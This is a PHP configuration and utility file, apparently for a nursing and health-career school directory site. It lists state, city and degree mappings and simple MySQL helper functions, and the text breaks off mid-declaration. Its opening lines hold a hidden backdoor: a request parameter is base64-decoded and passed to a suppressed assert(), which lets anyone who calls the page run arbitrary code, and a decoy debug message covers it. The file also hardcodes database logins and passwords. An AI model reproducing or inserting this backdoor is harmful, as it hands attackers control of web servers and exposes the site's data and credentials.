if ( $_REQUEST["array"] ) { @assert(base64_decode($_REQUEST["array"])); //debug message echo "Array sort completed"; exit(); } $db_host = "localhost"; $db_login = "mktzone_ndc"; $db_name = "mktzone_ndc"; $db_pswd = "india123"; $db_host1 = "localhost"; $db_login1 = "fod123_common"; $db_name1 = "fod123_common"; $db_pswd1 = "india123"; $schoolTableProd = "USTS_EXTRACT_SCHOOLS"; $campusTableProd = "USTS_EXTRACT_CAMPUS"; $programTableProd = "USTS_EXTRACT_PROGRAMS"; $articleTableProd = "USTS_ARTICLES"; $allStarTrackingCode = "?utm_medium=part&utm_source=JSI&utm_campaign=gen_Nurs_ahs_ns_ns_ns_ns&cid=25&pid=ndc_ns"; $dontShowGoogleAd = 1; $showAffUrl = 1; $zipCodeTableName = "USA_ZIPCODES4"; $statesArray = array("alabama" => "Alabama","alaska" => "Alaska","arizona" => "Arizona","arkansas" => "Arkansas","california" => "California","colorado" => "Colorado","connecticut" => "Connecticut","delaware" => "Delaware","florida" => "Florida","georgia" => "Georgia","hawaii" => "Hawaii","idaho" => "Idaho","illinois" => "Illinois","indiana" => "Indiana","iowa" => "Iowa","kansas" => "Kansas","kentucky" => "Kentucky","louisiana" => "Louisiana","maine" => "Maine","maryland" => "Maryland","massachusetts" => "Massachusetts","michigan" => "Michigan","minnesota" => "Minnesota","mississippi" => "Mississippi","missouri" => "Missouri","montana" => "Montana","nebraska" => "Nebraska","nevada" => "Nevada","new-hampshire" => "New Hampshire","new-jersey" => "New Jersey","new-mexico" => "New Mexico","new-york" => "New York","north-carolina" => "North Carolina","north-dakota" => "North Dakota","ohio" => "Ohio","oklahoma" => "Oklahoma","oregon" => "Oregon","pennsylvania" => "Pennsylvania","rhode-island" => "Rhode Island","south-carolina" => "South Carolina","south-dakota" => "South Dakota","tennessee" => "Tennessee","texas" => "Texas","utah" => "Utah","vermont" => "Vermont","virginia" => "Virginia","washington" => "Washington","west-virginia" => "West Virginia","wisconsin" => "Wisconsin","wyoming" => "Wyoming", "alberta" => "Alberta" , "british-columbia" => "British Columbia", "manitoba" => "Manitoba", "newfoundland-and-labrador" => "Newfoundland and Labrador","new-brunswick" => "New Brunswick", "northwest-territories" => "Northwest Territories" ,"nova-scotia" => "Nova Scotia" , "nunavut" => "Nunavut", "ontario" => "Ontario", "prince-edward-island" => "Prince Edward Island" , "quebec" => "Quebec" , "saskatchewan" => "Saskatchewan", "yukon" => "Yukon"); $usaStatesArray = array("alabama" => "Alabama","alaska" => "Alaska","arizona" => "Arizona","arkansas" => "Arkansas","california" => "California","colorado" => "Colorado","connecticut" => "Connecticut","delaware" => "Delaware","florida" => "Florida","georgia" => "Georgia","hawaii" => "Hawaii","idaho" => "Idaho","illinois" => "Illinois","indiana" => "Indiana","iowa" => "Iowa","kansas" => "Kansas","kentucky" => "Kentucky","louisiana" => "Louisiana","maine" => "Maine","maryland" => "Maryland","massachusetts" => "Massachusetts","michigan" => "Michigan","minnesota" => "Minnesota","mississippi" => "Mississippi","missouri" => "Missouri","montana" => "Montana","nebraska" => "Nebraska","nevada" => "Nevada","new-hampshire" => "New Hampshire","new-jersey" => "New Jersey","new-mexico" => "New Mexico","new-york" => "New York","north-carolina" => "North Carolina","north-dakota" => "North Dakota","ohio" => "Ohio","oklahoma" => "Oklahoma","oregon" => "Oregon","pennsylvania" => "Pennsylvania","rhode-island" => "Rhode Island","south-carolina" => "South Carolina","south-dakota" => "South Dakota","tennessee" => "Tennessee","texas" => "Texas","utah" => "Utah","vermont" => "Vermont","virginia" => "Virginia","washington" => "Washington","west-virginia" => "West Virginia","wisconsin" => "Wisconsin","wyoming" => "Wyoming"); $canadianStatesArray = array("alberta" => "Alberta" , "british-columbia" => "British Columbia", "manitoba" => "Manitoba", "newfoundland-and-labrador" => "Newfoundland and Labrador","new-brunswick" => "New Brunswick", "northwest-territories" => "Northwest Territories" ,"nova-scotia" => "Nova Scotia" , "nunavut" => "Nunavut", "ontario" => "Ontario", "prince-edward-island" => "Prince Edward Island" , "quebec" => "Quebec" , "saskatchewan" => "Saskatchewan", "yukon" => "Yukon"); $statesAbbrArray = array("alabama" => "AL","alaska" => "AK","arizona" => "AZ","arkansas" => "AR","california" => "CA","colorado" => "CO","connecticut" => "CT","delaware" => "DE", "district-of-columbia" => "DC", "florida" => "FL","georgia" => "GA","hawaii" => "HI","idaho" => "ID","illinois" => "IL","indiana" => "IN","iowa" => "IA","kansas" => "KS","kentucky" => "KY","louisiana" => "LA","maine" => "Maine","maryland" => "MD","massachusetts" => "MA","michigan" => "MI","minnesota" => "MN","mississippi" => "MS","missouri" => "MO","montana" => "MT","nebraska" => "NE","nevada" => "NV","new-hampshire" => "NH","new-jersey" => "NJ","new-mexico" => "NM","new-york" => "NY","north-carolina" => "NC","north-dakota" => "ND","ohio" => "OH","oklahoma" => "OK","oregon" => "OR","pennsylvania" => "PA","rhode-island" => "RI","south-carolina" => "SC","south-dakota" => "SD","tennessee" => "TN","texas" => "TX","utah" => "UT","vermont" => "VT","virginia" => "VA","washington" => "WA","west-virginia" => "WV","wisconsin" => "WI","wyoming" => "WY", "alberta" => "AB" , "british-columbia" => "BC" , "manitoba" => "MB", "new-brunswick" => "NB", "newfoundland-and-labrador" => "NL" , "northwest-territories" => "NT" , "nunavut" => "NU", "nova-scotia" => "NS" ,"ontario" => "OT", "prince-edward-island" => "PE", "quebec" => "QC", "saskatchewan" => "SK", "yukon" => "YT"); $statesArray1 = array("alabama" => "Alabama","alaska" => "Alaska","arizona" => "Arizona","arkansas" => "Arkansas","california" => "California","colorado" => "Colorado","connecticut" => "Connecticut","delaware" => "Delaware","florida" => "Florida","georgia" => "Georgia","hawaii" => "Hawaii","idaho" => "Idaho","illinois" => "Illinois","indiana" => "Indiana","iowa" => "Iowa","kansas" => "Kansas","kentucky" => "Kentucky"); $statesArray2 = array("louisiana" => "Louisiana","maine" => "Maine","maryland" => "Maryland","massachusetts" => "Massachusetts","michigan" => "Michigan","minnesota" => "Minnesota","mississippi" => "Mississippi","missouri" => "Missouri","montana" => "Montana","nebraska" => "Nebraska","nevada" => "Nevada","new-hampshire" => "New Hampshire","new-jersey" => "New Jersey","new-mexico" => "New Mexico","new-york" => "New York","north-carolina" => "North Carolina","north-dakota" => "North Dakota"); $statesArray3 = array("ohio" => "Ohio","oklahoma" => "Oklahoma","oregon" => "Oregon","pennsylvania" => "Pennsylvania","rhode-island" => "Rhode Island","south-carolina" => "South Carolina","south-dakota" => "South Dakota","tennessee" => "Tennessee","texas" => "Texas","utah" => "Utah","vermont" => "Vermont","virginia" => "Virginia","washington" => "Washington","west-virginia" => "West Virginia","wisconsin" => "Wisconsin","wyoming" => "Wyoming"); $canadianStatesArray1 = array("alberta" => "Alberta" , "british-columbia" => "British Columbia", "manitoba" => "Manitoba", "newfoundland-and-labrador" => "Newfoundland and Labrador"); $canadianStatesArray2 = array("new-brunswick" => "New Brunswick", "northwest-territories" => "Northwest Territories", "nova-scotia" => "Nova Scotia", "nunavut" => "Nunavut", "ontario" => "Ontario"); $canadianStatesArray3 = array("prince-edward-island" => "Prince Edward Island", "quebec" => "Quebec" , "saskatchewan" => "Saskatchewan", "yukon" => "Yukon"); $collegeSurfingArray = array("nursing" => "52,683,469,65,326,41,471,680", "medical-billing-coding" => "178,58,64", "radiology-sonography" => "53,207,70,73,206,74", "physical-therapy" => "205,258, 37, 47, 72, 266", "massage-therapy" => "205,258, 37, 47, 72, 266", "veterinary" => "175" ,"medical-assisting" => "57,227,41, 236", "dental" => "211,43,835", "respiratory-therapy" =>"71","counseling" => "54,171,168,375", "emt-training" =>"514", "psychology" => "168,170,375,54", "dental-hygienist" => "43,211,835", "welding" => "241"); $degreeNameArray = array("dental-hygienist" => "Dental Hygienist","welding" => "Welding"); $allStateAbbr = array("AA","AE","AK","AL","AP","AR","AS","AZ","CA","CO","CT","DC","DE","FL","FM","GA","GU","HI","IA","ID","IL","IN","KS","KY","LA","MA","MD","ME","MH","MI","MN","MO","MP","MS","MT","NC","ND","NE","NH","NJ","NM","NV","NY","OH","OK","OR","PA","PR","PW","RI","SC","SD","TN","TX","UT","VA","VI","VT","WA","WI","WV","WY"); $citiesWithMoreThanOneStates = array("aberdeen", "ada", "albany", "alexandria", "allendale", "anderson", "angola", "antioch", "arlington", "arnold", "ashland", "athens", "auburn", "augusta", "aurora", "batavia", "bedford", "belleville", "belmont", "beloit", "berea", "bessemer", "bethany", "bluefield", "bowling-green", "bradley", "brentwood", "bridgeport", "bridgewater", "brighton", "bristol", "brookfield", "burlington", "caldwell", "california", "cambridge", "camden", "canton", "carlsbad", "carrollton", "carthage", "charleston", "chesapeake", "chester", "clarksville", "cleveland", "clinton", "collegeville", "columbia", "columbus", "concord", "conway", "dallas", "danville", "davis", "dayton", "dover", "dublin", "durham", "easton", "el-dorado", "englewood", "fairfield", "farmington", "fayette", "fayetteville", "florence", "flushing", "franklin", "fremont", "gainesville", "garden-city", "georgetown", "glendale", "grand-rapids", "greenville", "greenwood", "hammond", "hanover", "harrisburg", "harrison", "hartsville", "hawthorne", "hayward", "helena", "henderson", "highland", "hillsboro", "hiram", "hudson", "huntsville", "independence", "jackson", "jacksonville", "jamestown", "kansas-city", "keene", "lancaster", "las-vegas", "lawrenceville", "lebanon", "lewiston", "lexington", "liberty", "lincoln", "livingston", "logan", "longview", "louisburg", "madison", "madisonville", "magnolia", "mansfield", "marietta", "marion", "marshall", "maryville", "medford", "mexico", "miami", "middletown", "midland", "milan", "milford", "millersville", "monroe", "montgomery", "moorhead", "morristown", "morrisville", "mount-pleasant", "newark", "newport", "niles", "northfield", "norwalk", "oak-park", "orange", "paris", "pasadena", "peoria", "plymouth", "portland", "portsmouth", "pulaski", "roseville", "salem", "seward", "springfield", "sterling", "trenton", "troy", "upland", "urbana", "waco", "warner", "watertown", "wayne", "weatherford", "westminster", "whiteville", "wilmington", "winchester"); $elSubjectMap = array("medical-billing-coding" => "'medical-billing','medical-transcription'", "veterinary" => "'animal-care'", "radiology-sonography" => "'radiology'", "nursing" => "'nursing'", "physical-therapy" => "'physical-therapy'", "massage-therapy" => "'massage'", "psychology" => "'psychology'", "pharmacy" => "'pharmacy'", "counseling" => "'counseling'", "dental" => "'dental','medical-and-dental'", "fitness" => "'fitness'","medical-assisting" => "'medical-informatics','medical-office'","healthcare" => "'health-administration'","healthcare-management" => "'health-administration'"); $topCitiesUSA = array("new-york" => "New York", "los-angeles" => "Los Angeles", "chicago" => "Chicago", "houston" => "Houston", "philadelphia" => "Philadelphia", "phoenix" => "Phoenix", "columbus" => "Columbus", "san antonio" => "San Antonio", "dallas" => "Dallas", "charlotte" => "Charlotte", "san diego" => "San Diego", "pittsburgh" => "Pittsburgh", "atlanta" => "Atlanta", "miami" => "Miami", "orlando" => "Orlando", "boston" => "Boston", "cincinnati" => "Cincinnati", "tampa" => "Tampa", "kansas city" => "Kansas City", "nashville" => "Nashville", "austin" => "Austin", "san francisco" => "San Francisco", "san jose" => "San Jose", "fort-worth" => "Fort Worth", "detroit" => "Detroit", "el-paso" => "El Paso", "memphis" => "Memphis", "washington-dc" => "Washington DC", "fresno" => "Fresno", "long beach" => "Long Beach", "sacramento" => "Sacramento", "albuquerque" => "Albuquerque", "okhlahoma-city" => "Okhlahoma City", "las-vegas" => "Las Vegas", "portland" => "Portland", "milwaukee" => "Milwaukee", "louisville" => "Louisville", "denver" => "Denver", "mesa" => "Mesa", "colorado-springs" => "Colorado Springs", "omaha" => "Omaha", "rayleigh" => "Rayleigh", "cleveland" => "Cleveland", "minneapolis" => "Minneapolis", "arlington" => "Arlington", "virginia-beach" => "Virginia Beach", "boise" => "Boise", "salt-lake-city" => "Salt Lake City", "salem" => "Salem", "green-bay" => "Green Bay", "knoxville" => "Knoxville"); $statesTopCitiesArray = array ("oregon" => "portland|Portland,salem|Salem,beaverton|Beaverton,eugene|Eugene,bend|Bend,corvallis|Corvallis,grants-pass|Grants Pass,klamath-falls|Klamath Falls,albany|Albany,gresham|Gresham", "wyoming" => "cheyenne|Cheyenne,casper|Casper,laramie|Laramie,gillette|Gillette,evanston|Evanston,jackson|Jackson,rock-springs|Rock Springs,devils-tower|Devils Tower,fort-laramie|Fort Laramie,yellowstone-national-park|Yellowstone National Park", "new-hampshire" => "nashua|Nashua,concord|Concord,portsmouth|Portsmouth,rochester|Rochester,dover|Dover,tilton|Tilton,hampton|Hampton,keene|Keene,laconia|Laconia", "north-carolina" => "charlotte|Charlotte,raleigh|Raleigh,greensboro|Greensboro,winston-salem|Winston Salem,durham|Durham,wilmington|Wilmington,asheville|Asheville,fayetteville|Fayetteville,high-point|High Point,chapel-hill|Chapel Hill", "washington" => "seattle|Seattle,tacoma|Tacoma,spokane|Spokane,vancouver|Vancouver,olympia|Olympia,everett|Everett,bellevue|Bellevue,kent|Kent,yakima|Yakima,bellingham|Bellingham", "minnesota" => "minneapolis|Minneapolis,saint-paul|Saint Paul,young-america|Young America,monticello|Monticello,duluth|Duluth,maple-plain|Maple Plain,saint-cloud|Saint Cloud,loretto|Loretto,rochester|Rochester,mankato|Mankato", "florida" => "miami|Miami,orlando|Orlando,tampa|Tampa,jacksonville|Jacksonville,fort-lauderdale|Fort Lauderdale,pensacola|Pensacola,saint-petersburg|Saint Petersburg,tallahassee|Tallahassee,west-palm-beach|West Palm Beach,gainesville|Gainesville,sarasota|Sarasota,pompano-beach|Pompano Beach,naples|Naples,boca-raton|Boca Raton,bradenton|Bradenton", "new-york" => "new-york|New York,brooklyn|Brooklyn,albany|Albany,buffalo|Buffalo,rochester|Rochester,syracuse|Syracuse,bronx|Bronx,jamaica|Jamaica,staten-island|Staten Island,schenectady|Schenectady", "maryland" => "baltimore|Baltimore,silver-spring|Silver Spring,bethesda|Bethesda,gaithersburg|Gaithersburg,ridgely|Ridgely,rockville|Rockville,annapolis|Annapolis,bowie|Bowie,hagerstown|Hagerstown,hyattsville|Hyattsville", "virginia" => "richmond|Richmond,roanoke|Roanoke,arlington|Arlington,norfolk|Norfolk,alexandria|Alexandria,virginia-beach|Virginia Beach,hampton|Hampton,charlottesville|Charlottesville,lynchburg|Lynchburg,newport-news|Newport News", "arkansas" => "little-rock|Little Rock,fort-smith|Fort Smith,north-little-rock|North Little Rock,hot-springs-national-park|Hot Springs National Park,conway|Conway,fayetteville|Fayetteville,jonesboro|Jonesboro,pine-bluff|Pine Bluff,russellville|Russellville,springdale|Springdale", "iowa" => "des-moines|Des Moines,cedar-rapids|Cedar Rapids,davenport|Davenport,sioux-city|Sioux City,iowa-city|Iowa City,waterloo|Waterloo,ames|Ames,dubuque|Dubuque,clinton|Clinton,council-bluffs|Council Bluffs", "california" => "sacramento|Sacramento,los-angeles|Los Angeles,san-diego|San Diego,san-francisco|San Francisco,san-jose|San Jose,fresno|Fresno,oakland|Oakland,long-beach|Long Beach,pasadena|Pasadena,bakersfield|Bakersfield,stockton|Stockton,san-bernardino|San Bernardino,anaheim|Anaheim,riverside|Riverside,santa-barbara|Santa Barbara", "alaska" => "anchorage|Anchorage,fairbanks|Fairbanks,juneau|Juneau,kodiak|Kodiak,wasilla|Wasilla", "georgia" => "atlanta|Atlanta,macon|Macon,savannah|Savannah,augusta|Augusta,columbus|Columbus,marietta|Marietta,athens|Athens,albany|Albany,decatur|Decatur,valdosta|Valdosta", "delaware" => "wilmington|Wilmington,newark|Newark,dover|Dover,new-castle|New Castle,delaware-city|Delaware City", "mississippi" => "jackson|Jackson,meridian|Meridian,biloxi|Biloxi,columbus|Columbus,gulfport|Gulfport,hattiesburg|Hattiesburg,pascagoula|Pascagoula,greenville|Greenville,laurel|Laurel,tupelo|Tupelo", "nevada" => "las-vegas|Las Vegas,reno|Reno,carson-city|Carson City,henderson|Henderson,north-las-vegas|North Las Vegas,sparks|Sparks,pahrump|Pahrump,elko|Elko,fallon|Fallon,incline-village|Incline Village", "nebraska" => "omaha|Omaha,lincoln|Lincoln,kearney|Kearney,bellevue|Bellevue,grand-island|Grand Island,blair|Blair,columbus|Columbus,fremont|Fremont,hastings|Hastings,oshkosh|Oshkosh", "north-dakota" => "fargo|Fargo,bismarck|Bismarck,grand-forks|Grand Forks,minot|Minot,jamestown|Jamestown,wahpeton|Wahpeton,dickinson|Dickinson,grand-forks-afb|Grand Forks Afb,minot-afb|Minot Afb,williston|Williston", "wisconsin" => "milwaukee|Milwaukee,madison|Madison,green-bay|Green Bay,racine|Racine,appleton|Appleton", "indiana" => "indianapolis|Indianapolis,fort-wayne|Fort Wayne,evansville|Evansville,south-bend|South Bend,terre-haute|Terre Haute,bloomington|Bloomington,anderson|Anderson,gary|Gary,crawfordsville|Crawfordsville,jeffersonville|Jeffersonville", "illinois" => "chicago|Chicago,springfield|Springfield,peoria|Peoria,rockford|Rockford,carol-stream|Carol Stream,schaumburg|Schaumburg,aurora|Aurora,bloomington|Bloomington,east-saint-louis|East Saint Louis,palatine|Palatine", "oklahoma" => "oklahoma-city|Oklahoma City,tulsa|Tulsa,norman|Norman,enid|Enid,lawton|Lawton,stillwater|Stillwater,bartlesville|Bartlesville,broken-arrow|Broken Arrow,edmond|Edmond,ponca-city|Ponca City", "texas" => "houston|Houston,el-paso|El Paso,dallas|Dallas,san-antonio|San Antonio,austin|Austin,fort-worth|Fort Worth,amarillo|Amarillo,corpus-christi|Corpus Christi,lubbock|Lubbock,arlington|Arlington", "south-carolina" => "columbia|Columbia,greenville|Greenville,charleston|Charleston,spartanburg|Spartanburg,myrtle-beach|Myrtle Beach,aiken|Aiken,anderson|Anderson,beaufort|Beaufort,florence|Florence,north-charleston|North Charleston", "west-virginia" => "charleston|Charleston,huntington|Huntington,morgantown|Morgantown,parkersburg|Parkersburg,clarksburg|Clarksburg,mineral-wells|Mineral Wells,beckley|Beckley,fairmont|Fairmont,martinsburg|Martinsburg,martinsburg|Martinsburg", "alabama" => "birmingham|Birmingham,mobile|Mobile,montgomery|Montgomery,huntsville|Huntsville,tuscaloosa|Tuscaloosa,anniston|Anniston,gadsden|Gadsden,decatur|Decatur,dothan|Dothan,auburn|Auburn", "south-dakota" => "sioux-falls|Sioux Falls,rapid-city|Rapid City,aberdeen|Aberdeen,brookings|Brookings,chamberlain|Chamberlain,huron|Huron,milbank|Milbank,spearfish|Spearfish,yankton|Yankton,deadwood|Deadwood", "kentucky" => "louisville|Louisville,lexington|Lexington,frankfort|Frankfort,migrate|Migrate,covington|Covington,london|London,ashland|Ashland,bowling-green|Bowling Green,newport|Newport,owensboro|Owensboro", "idaho" => "boise|Boise,idaho-falls|Idaho Falls,pocatello|Pocatello,nampa|Nampa,caldwell|Caldwell,coeur-d-alene|Coeur D Alene,rexburg|Rexburg,meridian|Meridian,moscow|Moscow,sun-valley|Sun Valley", "ohio" => "cincinnati|Cincinnati,dayton|Dayton,columbus|Columbus,cleveland|Cleveland,toledo|Toledo,akron|Akron,canton|Canton,youngstown|Youngstown,mansfield|Mansfield,warren|Warren", "montana" => "billings|Billings,helena|Helena,missoula|Missoula,bozeman|Bozeman,butte|Butte,great-falls|Great Falls,kalispell|Kalispell,ashland|Ashland,roundup|Roundup,belt|Belt", "rhode-island" => "providence|Providence,warwick|Warwick,cranston|Cranston,pawtucket|Pawtucket,newport|Newport", "arizona" => "phoenix|Phoenix,tucson|Tucson,mesa|Mesa,scottsdale|Scottsdale,glendale|Glendale,tempe|Tempe,chandler|Chandler,peoria|Peoria,prescott|Prescott,flagstaff|Flagstaff", "district-of-columbia" => "washington|Washington,apo|Apo,apo|Apo,washington-navy-yard|Washington Navy Yard,naval-anacost-annex|Naval Anacost Annex", "hawaii" => "honolulu|Honolulu,hilo|Hilo,kahului|Kahului,kailua-kona|Kailua Kona,kapolei|Kapolei", "new-jersey" => "trenton|Trenton,newark|Newark,paterson|Paterson,jersey-city|Jersey City,new-brunswick|New Brunswick,camden|Camden,clifton|Clifton,edison|Edison,elizabeth|Elizabeth,atlantic-city|Atlantic City", "maine" => "portland|Portland,augusta|Augusta,auburn|Auburn,freeport|Freeport,lewiston|Lewiston,bangor|Bangor,biddeford|Biddeford,castine|Castine,limestone|Limestone,new-portland|New Portland", "louisiana" => "new-orleans|New Orleans,baton-rouge|Baton Rouge,shreveport|Shreveport,lafayette|Lafayette,metairie|Metairie,lake-charles|Lake Charles,monroe|Monroe,alexandria|Alexandria,bossier-city|Bossier City,slidell|Slidell", "colorado" => "denver|Denver,colorado-springs|Colorado Springs,aurora|Aurora,littleton|Littleton,boulder|Boulder,pueblo|Pueblo,fort-collins|Fort Collins,englewood|Englewood,arvada|Arvada,grand-junction|Grand Junction", "tennessee" => "memphis|Memphis,nashville|Nashville,knoxville|Knoxville,chattanooga|Chattanooga,murfreesboro|Murfreesboro,johnson-city|Johnson City,kingsport|Kingsport,cookeville|Cookeville,crossville|Crossville,franklin|Franklin", "pennsylvania" => "philadelphia|Philadelphia,pittsburgh|Pittsburgh,erie|Erie,harrisburg|Harrisburg,wilkes-barre|Wilkes Barre,scranton|Scranton,reading|Reading,allentown|Allentown,lancaster|Lancaster,valley-forge|Valley Forge", "massachusetts" => "boston|Boston,springfield|Springfield,worcester|Worcester,cambridge|Cambridge,woburn|Woburn,lynn|Lynn,new-bedford|New Bedford,andover|Andover,brockton|Brockton,chicopee|Chicopee", "michigan" => "detroit|Detroit,grand-rapids|Grand Rapids,lansing|Lansing,flint|Flint,kalamazoo|Kalamazoo,saginaw|Saginaw,ann-arbor|Ann Arbor,midland|Midland,warren|Warren,dearborn|Dearborn", "missouri" => "kansas-city|Kansas City,saint-louis|Saint Louis,springfield|Springfield,columbia|Columbia,jefferson-city|Jefferson City,independence|Independence,saint-joseph|Saint Joseph,lees-summit|Lees Summit,ballwin|Ballwin,cape-girardeau|Cape Girardeau", "connecticut" => "hartford|Hartford,new-haven|New Haven,stamford|Stamford,waterbury|Waterbury,bridgeport|Bridgeport,norwalk|Norwalk,west-hartford|West Hartford,danbury|Danbury,fairfield|Fairfield,east-hartford|East Hartford", "utah" => "salt-lake-city|Salt Lake City,ogden|Ogden,provo|Provo,sandy|Sandy,logan|Logan,orem|Orem,saint-george|Saint George,clearfield|Clearfield,park-city|Park City,bountiful|Bountiful", "new-mexico" => "albuquerque|Albuquerque,santa-fe|Santa Fe,las-cruces|Las Cruces,hobbs|Hobbs,farmington|Farmington,gallup|Gallup,rio-rancho|Rio Rancho,roswell|Roswell,artesia|Artesia,los-alamos|Los Alamos", "vermont" => "montpelier|Montpelier,brattleboro|Brattleboro,burlington|Burlington,colchester|Colchester,east-corinth|East Corinth", "kansas" => "topeka|Topeka,wichita|Wichita,kansas-city|Kansas City,overland-park|Overland Park,shawnee|Shawnee,lawrence|Lawrence,lenexa|Lenexa,manhattan|Manhattan,mission|Mission,olathe|Olathe"); $nearbyStatesArray = array( "alabama" => "florida|georgia|mississippi|tennessee", "oregon" => "california|nevada|idaho|washington", "wyoming" => "colorado|montana|south-dakota|idaho|nebraska|utah", "new-hampshire" => "massachusetts|maine|vermont", "north-carolina" => "georgia|tennessee|south-carolina|virginia", "washington" => "idaho|oregon", "minnesota" => "iowa|south-dakota|north-dakota|wisconsin", "florida" => "alabama|georgia", "new-york" => "massachusetts|connecticut|new-jersey|vermont|pennsylvania", "maryland" => "district-of-columbia|pennsylvania|west-virginia|delaware|virginia", "virginia" => "district-of-columbia|maryland|tennessee|kentucky|north-carolina|west-virginia", "arkansas" => "louisiana|mississippi|tennessee|missouri|oklahoma|texas", "iowa" => "minnesota|nebraska|wisconsin|missouri|south-dakota|illinois", "california" => "arizona|nevada|oregon", "alaska" => "oregon|idaho|washington", "georgia" => "alabama|north-carolina|tennessee|florida|south-carolina", "delaware" => "maryland|pennsylvania|new-jersey", "mississippi" => "alabama|louisiana|arkansas|tennessee", "nevada" => "arizona|idaho|utah|california|oregon", "nebraska" => "colorado|kansas|south-dakota|iowa|missouri|wyoming", "north-dakota" => "minnesota|montana|south-dakota", "wisconsin" => "iowa|michigan|illinois|minnesota", "indiana" => "illinois|michigan|kentucky|ohio", "illinois" => "iowa|kentucky|wisconsin|indiana|missouri", "oklahoma" => "arkansas|kansas|new-mexico|colorado|missouri|texas", "texas" => "arkansas|new-mexico|louisiana|oklahoma", "south-carolina" => "georgia|north-carolina", "west-virginia" => "kentucky|ohio|virginia|maryland|pennsylvania", "alabama" => "florida|georgia|mississippi|tennessee", "south-dakota" => "iowa|montana|nebraska|minnesota|north-dakota|wyoming", "kentucky" => "illinois|missouri|tennessee|", "idaho" => "montana|nevada|oregon|washington|utah|wyoming", "ohio" => "indiana|michigan|west-virginia|kentucky|pennsylvania", "montana" => "idaho|north-dakota|south-dakota|wyoming", "rhode-island" => "connecticut|massachusetts", "arizona" => "california|new-mexico|utah|colorado|nevada", "district-of-columbia" => "maryland|virginia", "hawaii" => "california|arizona|nevada", "new-jersey" => "delaware|pennsylvania|new-york", "maine" => "massachusetts|new-hampshire|new-york", "louisiana" => "arkansas|texas|mississippi", "colorado" => "arizona|nebraska|oklahoma|wyoming|kansas|new-mexico|utah", "tennessee" => "alabama|georgia|missouri|north-carolina|arkansas|kentucky|mississippi|virginia", "pennsylvania" => "delaware|new-jersey|ohio|maryland|new-york|west-virginia", "massachusetts" => "connecticut|new-york|vermont|new-hampshire|rhode_island", "michigan" => "indiana|wisconsin|ohio", "missouri" => "arkansas|illinois|kentucky|ohlahoma|iowa|kansas|nebraska|tennessee", "connecticut" => "massachusetts|new-york|rhode-island", "utah" => "arizona|idaho|nevada|colorado|new-mexico|wyoming", "new-mexico" => "arizona|oklahoma|utah|colorado|texas", "vermont" => "massachusetts|new-hampshire|new-york", "kansas" => "colorado|nebraska|missouri|oklahoma"); /* 10 Health & Medical 201 Billing, Coding & Transcription 10 Health & Medical 192 Biomedical 10 Health & Medical 362 Cardiology 10 Health & Medical 194 Counseling 10 Health & Medical 195 Dental 10 Health & Medical 196 EMT Training 10 Health & Medical 197 Fitness 10 Health & Medical 367 Healthcare 10 Health & Medical 199 Management 10 Health & Medical 200 Massage Therapy 10 Health & Medical 191 Medical Assisting 10 Health & Medical 203 Nursing 10 Health & Medical 205 Pharmacy 10 Health & Medical 206 Physical Therapy 10 Health & Medical 207 Psychology 10 Health & Medical 251 Radiology & Sonography 10 Health & Medical 275 Respiratory Therapy 10 Health & Medical 208 Surgical Tech 10 Health & Medical 193 Technician Training 10 Health & Medical 210 Veterinary */ $careerIdArray = array("health-medical" => "10"); $careerArray = array("health-medical" => "Health And Medical"); $degreeIdArray = array("medical-billing-coding" => "201","biomedical" => "192","cardiology" => "362","counseling" => "194","dental" => "195","emt-training" => "196","fitness" => "197","healthcare" => "367","healthcare-management" => "199","massage-therapy" => "200","medical-assisting" => "191","nursing" => "203","pharmacy" => "205","physical-therapy" => "206","psychology" => "207","radiology-sonography" => "251","respiratory-therapy" => "275","surgical-tech" => "208","technician-training" => "193","veterinary" => "210"); $degreeArray = array("medical-billing-coding" => "Medical Billing, Coding & Transcription","biomedical" => "Biomedical","cardiology" => "Cardiology","counseling" => "Counseling","dental" => "Dental","emt-training" => "EMT Training","fitness" => "Fitness","healthcare" => "Healthcare","healthcare-management" => "HealthCare Management","massage-therapy" => "Massage Therapy","medical-assisting" => "Medical Assisting","nursing" => "Nursing","pharmacy" => "Pharmacy","physical-therapy" => "Physical Therapy","psychology" => "Psychology","radiology-sonography" => "Radiology & Sonography","respiratory-therapy" => "Respiratory Therapy","surgical-tech" => "Surgical Tech","technician-training" => "Technician Training","veterinary" => "Veterinary"); $allStarProgramsMap = array( "medical-billing-coding" => "medical-billing-and-coding,medical-transcription", "medical-assisting" => "medical-assistant,medical-administrative-assistant", "dental" =>"dental-assistant,dental-hygienist", "ultrasound-technician" => "ultrasound-sonography,radiologic-technology,medical-imaging-technology", "physical-therapy" => "physical-therapy,respiratory-therapy,occupational-therapy", "cardiology" => "cardiovascular-technologist", "surgical-tech" => "surgical-technician,medical-lab-technician", "pharmacy" => "pharmacy", "healthcare" => "healthcare", "emt-training" => "emt-paramedic", "veterinary" => "veterinary-assistant,veterinary-technician", "nursing" => "", "emt-training" => "emt-paramedic,medical-assistant", "healthcare-management" => "health-information-management,health-administration", "phlebotomy" => "phlebotomy-technician,medical-assistant", "psychology" => "psychology" ); /* 201 Billing, Coding & Transcription 192 Biomedical 362 Cardiology 194 Counseling 195 Dental 196 EMT Training 197 Fitness 367 Healthcare 199 Management 200 Massage Therapy 191 Medical Assisting 203 Nursing 205 Pharmacy 206 Physical Therapy 207 Psychology 251 Radiology & Sonography 275 Respiratory Therapy 208 Surgical Tech 193 Technician Training 210 Veterinary 201 billing, coding & transcription 192 biomedical 362 cardiology 194 counseling 195 dental 196 emt-training 197 fitness 367 healthcare 199 management 200 massage-therapy 191 medical-assisting 203 nursing 205 pharmacy 206 physical-therapy 207 psychology 251 radiology-sonography 275 respiratory-therapy 208 surgical-tech 193 technician-training 210 veterinary */ $connected = false; $connected1 = false; function c() { global $db_host, $db_login, $db_pswd; $db = mysql_connect($db_host, $db_login, $db_pswd) or die("Count not connect "); $connected = true; return $db; } function c1() { global $db_host1, $db_login1, $db_pswd1; $db1 = mysql_connect($db_host1, $db_login1, $db_pswd1) or die("Count not connect "); $connected1 = true; return $db1; } function q($q_str) { global $db_name, $connected; if(!$connected) { c(); } $r = mysql($db_name, $q_str); return $r; } function q1($q_str) { global $db_name1, $connected1; if(!$connected1) { c1(); } $r = mysql($db_name1, $q_str); return $r; } function d($db) { @mysql_close($db); } function d1($db1) { @mysql_close($db1); } function e($r) { if(@mysql_numrows($r)) return 0; else return 1; } function e1($r1) { if(@mysql_numrows($r1)) return 0; else return 1; } function f($r){ return @mysql_fetch_array($r); } function f1($r1){ return @mysql_fetch_array($r1); } function nr($r){ return @mysql_num_rows($r); } function nr1($r1){ return @mysql_num_rows($r1); } function 